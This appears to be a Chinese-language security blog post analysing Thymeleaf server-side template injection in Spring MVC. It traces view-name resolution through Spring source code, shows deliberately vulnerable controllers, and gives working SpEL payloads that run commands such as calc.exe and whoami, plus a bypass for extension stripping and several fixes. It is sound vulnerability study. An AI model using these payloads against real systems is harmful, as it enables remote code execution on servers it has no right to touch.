Thymeleaf SSTI漏洞分析

前言

​ 最近看到某平台上有一篇关于SSTI的文章,之前也没了解过SSTI的漏洞,因此决定写篇文章记录学习过程。

模板引擎

​ 要了解SSTI漏洞,首先要对模板引擎有所了解。下面是模板引擎的几个相关概念。

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档。

模板引擎的本质是将模板文件和数据通过模板引擎生成最终的HTML代码。

模板引擎不属于特定技术领域,它是跨领域跨平台的概念。

​ 模板引擎的出现是为了解决前后端分离的问题,拿JSP的举个栗子,JSP本身也算是一种模板引擎,在JSP访问的过程中编译器会识别JSP的标签,如果是JSP的内容则动态的提取并将执行结果替换,如果是HTML的内容则原样输出。

xxx.jsp

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Insert title here</title>
</head>
<body>
<%=111*111%>
</body>
</html>

​ 上面的代码经过JSP引擎编译后,HTML部分直接输出,而使用JSP标签部分则是经过了解析后的结果。

1
2
3
4
5
6
7
8
9
10
11
12
out.write("<!DOCTYPE html>\r\n");
out.write("<html>\r\n");
out.write("<head>\r\n");
out.write("<meta charset=\"UTF-8\">\r\n");
out.write("<title>Insert title here</title>\r\n");
out.write("</head>\r\n");
out.write("<body>\r\n");
//解析后的结果
out.print(111*111);
out.write("\r\n");
out.write("</body>\r\n");
out.write("</html>");

既然JSP已经是一个模板引擎了为什么后面还要推出其他的模板引擎?

  • 动态资源和静态资源全部耦合在一起,还是需要在JSP文件中写一些后端代码,这其实比较尴尬,所以导致很多JAVA开发不能专注于JAVA开发还需要写一些前端代码。

  • 第一次请求jsp,必须要在web服务器中编译成servlet,第一次运行会较慢。

  • 每次请求jsp都是访问servlet再用输出流输出的html页面,效率没有直接使用html高。

  • 如果jsp中的内容很多,页面响应会很慢,因为是同步加载。

  • jsp只能运行在web容器中,无法运行在nginx这样的高效的http服务上。

    使用模板引擎的好处是什么?

    模板设计好后可以直接填充数据使用,不需要重新设计页面,增强了代码的复用性

Thymeleaf

Thymeleaf是众多模板引擎的一种和其他的模板引擎相比,它有如下优势:

  • Thymeleaf使用html通过一些特定标签语法代表其含义,但并未破坏html结构,即使无网络、不通过后端渲染也能在浏览器成功打开,大大方便界面的测试和修改。
  • Thymeleaf提供标准和Spring标准两种方言,可以直接套用模板实现JSTL、 OGNL表达式效果,避免每天套模板、改JSTL、改标签的困扰。同时开发人员也可以扩展和创建自定义的方言。
  • Springboot官方大力推荐和支持,Springboot官方做了很多默认配置,开发者只需编写对应html即可,大大减轻了上手难度和配置复杂度。

语法

​ 既然Thymeleaf也使用的html,那么如何区分哪些是Thymeleafhtml

​ 在Thymeleafhtml中首先要加上下面的标识。

1
<html xmlns:th="http://www.thymeleaf.org">

标签

Thymeleaf提供了一些内置标签,通过标签来实现特定的功能。

标签 作用 示例
th:id 替换id <input th:id="${user.id}"/>
th:text 文本替换 <p text:="${user.name}">bigsai</p>
th:utext 支持html的文本替换 <p utext:="${htmlcontent}">content</p>
th:object 替换对象 <div th:object="${user}"></div>
th:value 替换值 <input th:value="${user.name}" >
th:each 迭代 <tr th:each="student:${user}" >
th:href 替换超链接 <a th:href="@{index.html}">超链接</a>
th:src 替换资源 <script type="text/javascript" th:src="@{index.js}"></script>

链接表达式

​ 在Thymeleaf 中,如果想引入链接比如link,href,src,需要使用@{资源地址}引入资源。引入的地址可以在static目录下,也可以司互联网中的资源。

1
2
3
<link rel="stylesheet" th:href="@{index.css}">
<script type="text/javascript" th:src="@{index.js}"></script>
<a th:href="@{index.html}">超链接</a>

变量表达式

​ 可以通过${…}在model中取值,如果在Model中存储字符串,则可以通过${对象名}直接取值。

1
2
3
4
5
6
public String getindex(Model model)//对应函数
{
//数据添加到model中
model.addAttribute("name","bigsai");//普通字符串
return "index";//与templates中index.html对应
}
1
<td th:text="'我的名字是:'+${name}"></td>

​ 取JavaBean对象使用${对象名.对象属性}或者${对象名['对象属性']}来取值。如果JavaBean写了get方法也可以通过${对象.get方法名}取值。

1
2
3
4
5
6
public String getindex(Model model)//对应函数
{
user user1=new user("bigsai",22,"一个幽默且热爱java的社会青年");
model.addAttribute("user",user1);//储存javabean
return "index";//与templates中index.html对应
}
1
2
3
<td th:text="${user.name}"></td>
<td th:text="${user['age']}"></td>
<td th:text="${user.getDetail()}"></td>

​ 取Map对象使用${Map名['key']}${Map名.key}

1
2
3
4
5
6
7
8
9
10
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
Map<String ,String>map=new HashMap<>();
map.put("place","博学谷");
map.put("feeling","very well");
//数据添加到model中
model.addAttribute("map",map);//储存Map
return "index";//与templates中index.html对应
}
1
2
<td th:text="${map.get('place')}"></td>
<td th:text="${map['feeling']}"></td>

​ 取List集合:List集合是一个有序列表,需要使用each遍历赋值,<tr th:each="item:${userlist}">

1
2
3
4
5
6
7
8
9
10
11
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
List<String>userList=new ArrayList<>();
userList.add("zhang san 66");
userList.add("li si 66");
userList.add("wang wu 66");
//数据添加到model中
model.addAttribute("userlist",userList);//储存List
return "index";//与templates中index.html对应
}
1
2
3
<tr th:each="item:${userlist}">
<td th:text="${item}"></td>
</tr>

选择变量表达式

​ 变量表达式也可以写为*{...}。星号语法对选定对象而不是整个上下文评估表达式。也就是说,只要没有选定的对象,美元(${…})和星号(*{...})的语法就完全一样。

1
2
3
4
5
<div th:object="${user}">
<p>Name: <span th:text="*{name}"></span>.</p>
<p>Age: <span th:text="*{age}">18</span>.</p>
<p>Detail: <span th:text="*{detail}">好好学习</span>.</p>
</div>

消息表达式

​ 文本外部化是从模板文件中提取模板代码的片段,以便可以将它们保存在单独的文件(通常是.properties文件)中,文本的外部化片段通常称为“消息”。通俗易懂的来说#{…}语法就是用来读取配置文件中数据的。

片段表达式

​ 片段表达式 ~{...}可以用于引用公共的目标片段,比如可以在一个template/footer.html中定义下面的片段,并在另一个template中引用。

1
2
3
<div th:fragment="copy">
&copy; 2011 The Good Thymes Virtual Grocery
</div>
1
<div th:insert="~{footer :: copy}"></div>

Demo

​ 为了能快速对Thymeleaf上手,我们可以先写一个Demo直观的看到Thymeleaf的使用效果。

​ 首先创建一个SpringBoot项目,在模板处选择Thymeleaf

image-20211109175852075

​ 创建好的目录结构如下,可以在templates中创建html模板文件。

image-20211109180008793

​ 编写Controller

1
2
3
4
5
6
7
8
9
@Controller
public class urlController {
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
model.addAttribute("name","bigsai");
return "index";//与templates中index.html对应
}
}

​ 在templates下创建模板文件index.html

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
hello 第一个Thymeleaf程序
<div th:text="${name}"></div>
</body>
</html>

​ 启动程序访问/index

image-20211109180836203

SpringMVC 视图解析过程分析

​ 视图解析的过程是发生在Controller处理后,Controller处理结束后会将返回的结果封装为ModelAndView对象,再通过视图解析器ViewResovler得到对应的视图并返回。分析的栗子使用上面的Demo。

封装ModelAndView对象

​ 在ServletInvocableHandlerMethod#invokeAndHandle中,做了如下操作:

  • invokeForRequest调用Controller后获取返回值到returnValue
  • 判断returnValue是否为空,如果是则继续判断0RequestHandled是否为True,都满足的话设置requestHandledtrue
  • 通过handleReturnValue根据返回值的类型和返回值将不同的属性设置到ModelAndViewContainer中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception {
//调用Controller后获取返回值到returnValue中
Object returnValue = this.invokeForRequest(webRequest, mavContainer, providedArgs);
this.setResponseStatus(webRequest);
//判断returnValue是否为空
if (returnValue == null) {
//判断RequestHandled是否为True
if (this.isRequestNotModified(webRequest) || this.getResponseStatus() != null || mavContainer.isRequestHandled()) {
this.disableContentCachingIfNecessary(webRequest);
//设置RequestHandled属性
mavContainer.setRequestHandled(true);
return;
}
} else if (StringUtils.hasText(this.getResponseStatusReason())) {
mavContainer.setRequestHandled(true);
return;
}

mavContainer.setRequestHandled(false);
Assert.state(this.returnValueHandlers != null, "No return value handlers");

try {
//通过handleReturnValue根据返回值的类型和返回值将不同的属性设置到ModelAndViewContainer中。
this.returnValueHandlers.handleReturnValue(returnValue, this.getReturnValueType(returnValue), mavContainer, webRequest);
} catch (Exception var6) {
if (logger.isTraceEnabled()) {
logger.trace(this.formatErrorForReturnValue(returnValue), var6);
}

throw var6;
}

​ 下面分析handleReturnValue方法。

  • selectHandler根据返回值和类型找到不同的HandlerMethodReturnValueHandler,这里得到了ViewNameMethodReturnValueHandler,具体怎么得到的就不分析了。
  • 调用handler.handleReturnValue,这里得到不同的HandlerMethodReturnValueHandler处理的方式也不相同。
1
2
3
4
5
6
7
8
9
10
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
//获取handler
HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType);
if (handler == null) {
throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName());
} else {
//执行handleReturnValue操作
handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest);
}
}

ViewNameMethodReturnValueHandler#handleReturnValue

  • 判断返回值类型是否为字符型,设置mavContainer.viewName
  • 判断返回值是否以redirect:开头,如果是的话则设置重定向的属性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {
if (returnValue instanceof CharSequence) {
String viewName = returnValue.toString();
//设置返回值为viewName
mavContainer.setViewName(viewName);
//判断是否需要重定向
if (this.isRedirectViewName(viewName)) {
mavContainer.setRedirectModelScenario(true);
}
} else if (returnValue != null) {
throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod());
}

}

​ 通过上面的操作,将返回值设置为mavContainer.viewName,执行上述操作后返回到RequestMappingHandlerAdapter#invokeHandlerMethod中。通过getModelAndView获取ModelAndView对象。

image-20211110113841854

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 protected ModelAndView invokeHandlerMethod(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception {
...
ModelAndView var15;
invocableMethod.invokeAndHandle(webRequest, mavContainer, new Object[0]);
if (asyncManager.isConcurrentHandlingStarted()) {
result = null;
return (ModelAndView)result;
}
//获取ModelAndView对象
var15 = this.getModelAndView(mavContainer, modelFactory, webRequest);
} finally {
webRequest.requestCompleted();
}

return var15;
}

getModelAndView根据viewNamemodel创建ModelAndView对象并返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
private ModelAndView getModelAndView(ModelAndViewContainer mavContainer, ModelFactory modelFactory, NativeWebRequest webRequest) throws Exception {
modelFactory.updateModel(webRequest, mavContainer);
//判断RequestHandled是否为True,如果是则不会创建ModelAndView对象
if (mavContainer.isRequestHandled()) {
return null;
} else {
ModelMap model = mavContainer.getModel();
//创建ModelAndView对象
ModelAndView mav = new ModelAndView(mavContainer.getViewName(), model, mavContainer.getStatus());
if (!mavContainer.isViewReference()) {
mav.setView((View)mavContainer.getView());
}

if (model instanceof RedirectAttributes) {
Map<String, ?> flashAttributes = ((RedirectAttributes)model).getFlashAttributes();
HttpServletRequest request = (HttpServletRequest)webRequest.getNativeRequest(HttpServletRequest.class);
if (request != null) {
RequestContextUtils.getOutputFlashMap(request).putAll(flashAttributes);
}
}

return mav;
}
}

获取视图

​ 获取ModelAndView后,通过DispatcherServlet#render获取视图解析器并渲染。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
Locale locale = this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale();
response.setLocale(locale);
String viewName = mv.getViewName();
View view;
if (viewName != null) {
//获取视图解析器
view = this.resolveViewName(viewName, mv.getModelInternal(), locale, request);
if (view == null) {
throw new ServletException("Could not resolve view with name '" + mv.getViewName() + "' in servlet with name '" + this.getServletName() + "'");
}
} else {
view = mv.getView();
if (view == null) {
throw new ServletException("ModelAndView [" + mv + "] neither contains a view name nor a View object in servlet with name '" + this.getServletName() + "'");
}
}

if (this.logger.isTraceEnabled()) {
this.logger.trace("Rendering view [" + view + "] ");
}

try {
if (mv.getStatus() != null) {
response.setStatus(mv.getStatus().value());
}
//渲染
view.render(mv.getModelInternal(), request, response);
} catch (Exception var8) {
if (this.logger.isDebugEnabled()) {
this.logger.debug("Error rendering view [" + view + "]", var8);
}

throw var8;
}
}

​ 获取视图解析器在DispatcherServlet#resolveViewName中完成,循环遍历所有视图解析器解析视图,解析成功则返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected View resolveViewName(String viewName, @Nullable Map<String, Object> model, Locale locale, HttpServletRequest request) throws Exception {
if (this.viewResolvers != null) {
Iterator var5 = this.viewResolvers.iterator();
//循环遍历所有的视图解析器获取视图
while(var5.hasNext()) {
ViewResolver viewResolver = (ViewResolver)var5.next();
View view = viewResolver.resolveViewName(viewName, locale);
if (view != null) {
return view;
}
}
}

return null;
}

​ 在Demo中有5个视图解析器。

image-20211110134445262

​ 本以为会在ThymeleafViewResolver中获取视图,实际调试发现ContentNegotiatingViewResolver中已经获取到了视图。

image-20211110134655900

ContentNegotiatingViewResolver视图解析器允许使用同样的数据获取不同的View。支持下面三种方式。

  1. 使用扩展名
    http://localhost:8080/employees/nego/Jack.xml 返回结果为XML
    http://localhost:8080/employees/nego/Jack.json 返回结果为JSON
    http://localhost:8080/employees/nego/Jack 使用默认view呈现,比如JSP

  2. HTTP Request Header中的Accept,Accept 分别是 text/jsp, text/pdf, text/xml, text/json, 无Accept 请求头

  3. 使用参数
    http://localhost:8080/employees/nego/Jack?format=xml 返回结果为XML
    http://localhost:8080/employees/nego/Jack?format=json 返回结果为JSON

ContentNegotiatingViewResolver#resolveViewName

  • getCandidateViews循环调用所有的ViewResolver解析视图,解析成功放到视图列表中返回。同样也会根据Accept头得到后缀并通过ViewResolver解析视图。
  • getBestView根据Accept头获取最优的视图返回。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public View resolveViewName(String viewName, Locale locale) throws Exception {
RequestAttributes attrs = RequestContextHolder.getRequestAttributes();
Assert.state(attrs instanceof ServletRequestAttributes, "No current ServletRequestAttributes");
List<MediaType> requestedMediaTypes = this.getMediaTypes(((ServletRequestAttributes)attrs).getRequest());
if (requestedMediaTypes != null) {
//获取可以解析当前视图的列表。
List<View> candidateViews = this.getCandidateViews(viewName, locale, requestedMediaTypes);
//根据Accept头获取一个最优的视图返回
View bestView = this.getBestView(candidateViews, requestedMediaTypes, attrs);
if (bestView != null) {
return bestView;
}
}
...
}

视图渲染

​ 得到View后,调用render方法渲染,也就是ThymleafView#render渲染。render方法中又通过调用renderFragment完成实际的渲染工作。

漏洞复现

​ 我这里使用**spring-view-manipulation**项目来做漏洞复现。

templatename

漏洞代码

1
2
3
4
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}

POC

1
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

漏洞原理

​ 在renderFragment渲染的过程中,存在如下代码。

  • 当TemplateName中不包含::则将viewTemplateName赋值给templateName
  • 如果包含::则代表是一个片段表达式,则需要解析templateNamemarkupSelectors
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception {
...
//viewTemplateName中包含::则当作片段表达式执行
if (!viewTemplateName.contains("::")) {
templateName = viewTemplateName;
markupSelectors = null;
} else {
IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration);

FragmentExpression fragmentExpression;
try {
// 根据viewTemplateName得到FragmentExpression
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
} catch (TemplateProcessingException var25) {
throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'");
}
//创建ExecutedFragmentExpression
ExecutedFragmentExpression fragment = FragmentExpression.createExecutedFragmentExpression(context, fragmentExpression);
//获取templateName和markupSelectors
templateName = FragmentExpression.resolveTemplateName(fragment);
markupSelectors = FragmentExpression.resolveFragments(fragment);
Map<String, Object> nameFragmentParameters = fragment.getFragmentParameters();
if (nameFragmentParameters != null) {
if (fragment.hasSyntheticParameters()) {
throw new IllegalArgumentException("Parameters in a view specification must be named (non-synthetic): '" + viewTemplateName + "'");
}

context.setVariables(nameFragmentParameters);
}
}
...
viewTemplateEngine.process(templateName, processMarkupSelectors, context, (Writer)templateWriter);
}

​ 比如当viewTemplateName为welcome :: header则会将welcome解析为templateName,将header解析为markupSelectors。

image-20211110153345663

​ 上面只是分析了为什么要根据::做不同的处理,并不涉及到漏洞,但是当视图名中包含::会执行下面的代码。

1
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");

​ 在StandardExpressionParser#parseExpression中会通过preprocess进行预处理,预处理根据该正则\\_\\_(.*?)\\_\\_提取__xx__间的内容,获取expression并执行execute方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\\_\\_(.*?)\\_\\_", 32);
static String preprocess(IExpressionContext context, String input) {
if (input.indexOf(95) == -1) {
return input;
} else {
IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration());
if (!(expressionParser instanceof StandardExpressionParser)) {
return input;
} else {
Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input);
if (!matcher.find()) {
return checkPreprocessingMarkUnescaping(input);
} else {
StringBuilder strBuilder = new StringBuilder(input.length() + 24);
int curr = 0;

String remaining;
do {
remaining = checkPreprocessingMarkUnescaping(input.substring(curr, matcher.start(0)));
//提取__之间的内容
String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1));
strBuilder.append(remaining);
//获取expression
IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false);
if (expression == null) {
return null;
}
//执行execute方法
Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);
strBuilder.append(result);
curr = matcher.end(0);
} while(matcher.find());

remaining = checkPreprocessingMarkUnescaping(input.substring(curr));
strBuilder.append(remaining);
return strBuilder.toString().trim();
}

execute经过层层调用最终通过SPEL执行表达式的内容。

image-20211110164314996

image-20211110164247728

​ 也就是说这个漏洞本质上是SPEL表达式执行。

URI PATH

​ 下面的情况也可以触发漏洞,这个可能很多师傅和我一样都觉得很奇怪,这个并没有返回值,理论上是不会执行的。

1
2
3
4
5
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}

​ 前面我们分析了SpingMVC视图解析的过程,在解析视图首先获取返回值并封装为ModleAndView,而在当前当前环境中并没有返回值,按理说ModelAndView应该为空,为什么还能正常得到ModleAndView呢?

​ 原因主要在DispatcherServlet#doDispatch中,获取ModleAndView后还会执行applyDefaultViewName方法。

1
2
3
4
5
6
7
8
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
...
mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
if (asyncManager.isConcurrentHandlingStarted()) {
return;
}
this.applyDefaultViewName(processedRequest, mv);
}

applyDefaultViewName中判断当ModelAndView为空,则通过getDefaultViewName 获取请求路径作为ViewName。这也是在urlPath中传入Payload可以执行的原因。

1
2
3
4
5
6
7
8
private void applyDefaultViewName(HttpServletRequest request, @Nullable ModelAndView mv) throws Exception {
if (mv != null && !mv.hasView()) {
String defaultViewName = this.getDefaultViewName(request);
if (defaultViewName != null) {
mv.setViewName(defaultViewName);
}
}
}

但是需要注意的是如果要在urlPath中传入payload,则不能有返回值,否则就不会调用applyDefaultViewName设置了。下面的方式将不会导致代码执行。

1
2
3
4
5
@GetMapping("/doc/{document}")
public String getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
return "welcome";
}

回显失败问题分析

​ 当在URL PATH中使用下面的POC会拿不到结果。

1
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x

​ 经过分析问题主要是在StandardExpressionParser#parseExpression,在preprocess预处理结束后还会通过Expression.parse进行一次解析,这里如果解析失败则不会回显。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static IStandardExpression parseExpression(IExpressionContext context, String input, boolean preprocess) {
IEngineConfiguration configuration = context.getConfiguration();
String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input;
IStandardExpression cachedExpression = ExpressionCache.getExpressionFromCache(configuration, preprocessedInput);
if (cachedExpression != null) {
return cachedExpression;
} else {
Expression expression = Expression.parse(preprocessedInput.trim());
if (expression == null) {
throw new TemplateProcessingException("Could not parse as expression: \"" + input + "\"");
} else {
ExpressionCache.putExpressionIntoCache(configuration, preprocessedInput, expression);
return expression;
}
}
}

​ 使用上面的POCparse的内容如下,这里可以看到::后没有内容,因此这里肯定是会失败的。

image-20211110182419342

​ 而在templatename那个Demo中,parse内容如下是::后是有内容的。所以能否回显的关键就是Expression.parse能否正常执行。

image-20211110182644124

但是我们在URL PATH的POC中也设置了::.x为什么会被去掉呢?

​ 在分析URL PATH这种方式能获取ModelAndView的原因时,我们分析过会在applyDefaultViewName中获取URL Path作为ModelAndView的name,这个操作在getViewName中完成,getLookupPathForRequest仅仅获取了请求的地址并没有对后面的.x做处理,处理主要是在transformPath中完成的。

1
2
3
4
public String getViewName(HttpServletRequest request) {
String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH);
return this.prefix + this.transformPath(lookupPath) + this.suffix;
}

image-20211111093605313

transformPath中通过stripFilenameExtension去除后缀,是这部分导致了.x后内容为空。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
protected String transformPath(String lookupPath) {
String path = lookupPath;
if (this.stripLeadingSlash && lookupPath.startsWith("/")) {
path = lookupPath.substring(1);
}

if (this.stripTrailingSlash && path.endsWith("/")) {
path = path.substring(0, path.length() - 1);
}
//
if (this.stripExtension) {
path = StringUtils.stripFilenameExtension(path);
}

if (!"/".equals(this.separator)) {
path = StringUtils.replace(path, "/", this.separator);
}

return path;
}

stripFilenameExtension去除最后一个.后的内容,所以可以通过下面的方式绕过。

1
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::assadasd.asdas

漏洞修复

配置 @ResponseBody

1
2
3
4
5
6
@GetMapping("/doc/{document}")
@ResponseBody
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}

​ 配置了ResponseBody注解确实无法触发,经过调试在applyDefaultViewNameModelAndViewNull而非ModelAndView对象,所以hasView()会导致异常,不会设置视图名。

image-20211111101343710

​ 所以我们要分析创建ModelAndView对象的方法,也就是getModelAndView,这里requestHandled设置为True时会返回Null,而不会创建视图。

image-20211111101817862

​ 当我们设置了ResponseBody注解后,handler返回的是RequestResponseBodyMethodProcesser,所以这里会调用它的handleReturnValue,设置了RequestHandled属性为True。

image-20211111102133644

image-20211111102444570

​ 配置RestController修复和这种方式类似,也是由于使用RequestResponseBodyMethodProcesser设置了RequestHandled属性导致不能得到ModelAndView对象了。

image-20211111102824449

​ 有小伙伴可能要问,上面只是讲的URL PATH中的修复,templatename中这种方式也能修复嘛?答案是肯定的,根本原因在设置了RequestHandled属性后,ModelAndView一定会返回Null。

image-20211111103201382

通过redirect:

根据spring boot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值

​ 所以配置redirect:主要影响的是获取视图的部分。在ThymeleafViewResolver#createView中,如果视图名以redirect:开头,则会创建RedirectView并返回。所以不会使用ThymeleafView解析。

image-20211111112136043

方法参数中设置HttpServletResponse 参数

1
2
3
4
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
}

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析。

​ 首先声明下这种方式只对返回值为空的情况下有效,也就是URL PATH的方式,下面我会解释一下原因。

​ 设置了HttpServletResponse后也是设置requestHandled设置为True导致在applyDefaultViewName无法设置默认的ViewName。

​ 但是它的设置是在ServletInvocableHandlerMethod#invokeAndHandle中。由于mavContainer.isRequestHandled()被设置为True,所以进入到IF语句中设置了requestHandled属性,但是这里的前提条件是returnValue为空,所以这种修复方法只有在返回值为空的情况下才有效。

image-20211111140448233

requestHandled的属性设置在HandlerMethodArgumentResolverComposite#resolveArgument解析参数时,这里不同的传参方式获得的ArgumentResolver是不同的,比如没加HttpServletResponse 时得到的是PathVariableMethodArgumentResolver

image-20211111140846800

​ 加上后会对HttpServletResponse也进行参数解析,解析后的结果为ServletResponseMethodArgumentResolver,在它的resolveArgument方法中,会设置requestHandled属性。

image-20211111142308019

image-20211111142351880

总结

Thymeleaf 模板注入和我理解的不太一样,之前以为这种模板注入应该是解析特定标签时候导致的问题。 从修复的角度来讲使用@ResponseBody或者@RestController更容易修复漏洞,而设置HttpServletResponse 有一定的局限性,对templatename的方式无用。

参考